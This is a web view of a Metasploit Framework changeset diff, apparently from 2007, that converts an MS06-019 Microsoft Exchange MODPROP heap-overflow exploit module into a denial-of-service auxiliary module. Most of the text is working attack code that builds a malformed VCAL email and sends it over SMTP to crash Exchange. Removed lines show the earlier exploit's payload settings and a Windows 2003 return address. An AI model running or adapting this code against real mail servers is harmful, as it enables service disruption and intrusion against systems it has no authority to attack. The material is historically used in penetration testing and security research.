Changeset 4836

Show
Ignore:
Timestamp:
05/01/07 22:34:49 (1 year ago)
Author:
hdm
Message:

Corrects the SMTP DoS, fixes #95.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/tags/framework-3.0/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb

    r4831 r4836  
    1515module Msf 
    1616 
    17 class Exploits::Windows::Smtp::MS06_019_EXCHANGE < Msf::Exploit::Remote 
     17class Auxiliary::Dos::Windows::Smtp::MS06_019_EXCHANGE < Msf::Auxiliary 
    1818 
    1919        include Exploit::Remote::Smtp 
     
    2323                        'Name'           => 'MS06-019 Exchange MODPROP Heap Overflow', 
    2424                        'Description'    => %q{ 
    25                                 This module exploits a heap overflow vulnerability in MS 
     25                                This module triggers a heap overflow vulnerability in MS 
    2626                                Exchange that occurs when multiple malformed MODPROP values 
    2727                                occur in a VCAL request. 
     
    3737 
    3838                                ], 
    39                         'Privileged'     => true, 
    40                         'DefaultOptions' =>  
    41                                 { 
    42                                         'EXITFUNC'  => 'thread', 
    43                                         'SUBJECT'       => 're: Your Brains', 
    44                                 }, 
    45                         'Payload'        => 
    46                                 { 
    47                                         'Space'    => 614,      # XXX 
    48                                         'EncoderOptions' => 
    49                                                 { 
    50                                                         'BufferRegister' => 'EDX', 
    51                                                 } 
    52                                 }, 
    53                         'Platform'       => 'win', 
    54                         'Targets'        =>  
    55                                 [ 
    56                                         # alphanum rets :(, will look more into it later 
    57                                         ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x77364650 }], 
    58                                 ], 
    59                         'DisclosureDate' => 'Nov 12 2004', 
    60                         'DefaultTarget' => 0)) 
     39                        'DisclosureDate' => 'Nov 12 2004')) 
     40 
     41                register_options( 
     42                        [ 
     43                                OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains']) 
     44                        ], self.class) 
     45                                                 
    6146        end 
    6247 
    63         def exploit 
    64                 print "Connected; Sending mail... " 
     48        # 
     49        # This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class 
     50        # 
     51        def run 
     52         
     53                connect_login 
    6554 
    6655                modprops = ['attendee', 'categories', 'class', 'created', 'description',  
     
    6958                                        'status', 'summary', 'transp', 'uid'] 
    7059                 
    71                                        #modprops = ['dtstamp'] 
     60                #modprops = ['dtstamp'] 
    7261                 
    7362                modpropshort =  "" 
     
    8978                } 
    9079 
    91                 boundry =      rand_text_alphanumeric(8) + "." + rand_text_alphanumeric(8) 
     80                boundry = rand_text_alphanumeric(8) + "." + rand_text_alphanumeric(8) 
    9281 
    9382         
     
    9584                # reliable, and gives crashes in better spots of you use these modprops: 
    9685 
    97                 modpropshort = "dtstamp," 
    98                 modproplong "dtstamp, dtstamp," 
    99                 modpropbusted =        "DTSTAMP:\r\n" 
     86                modpropshort = "dtstamp," 
     87                modproplong   = "dtstamp, dtstamp," 
     88                modpropbusted = "DTSTAMP:\r\n" 
    10089                 
    10190                mail =          "From: #{datastore['MAILFROM']}\r\n" 
     
    123112                mail <<         "\r\n--#{boundry}\r\n" 
    124113                mail <<         "\r\n.\r\n" 
     114                 
    125115         
    126                 print "\n\n" + mail + "\n\n" 
    127                  
    128                 handler 
    129                 connect_login 
     116                print_status("Sending message...")       
    130117                sock.put(mail) 
    131118                sock.put("QUIT\r\n")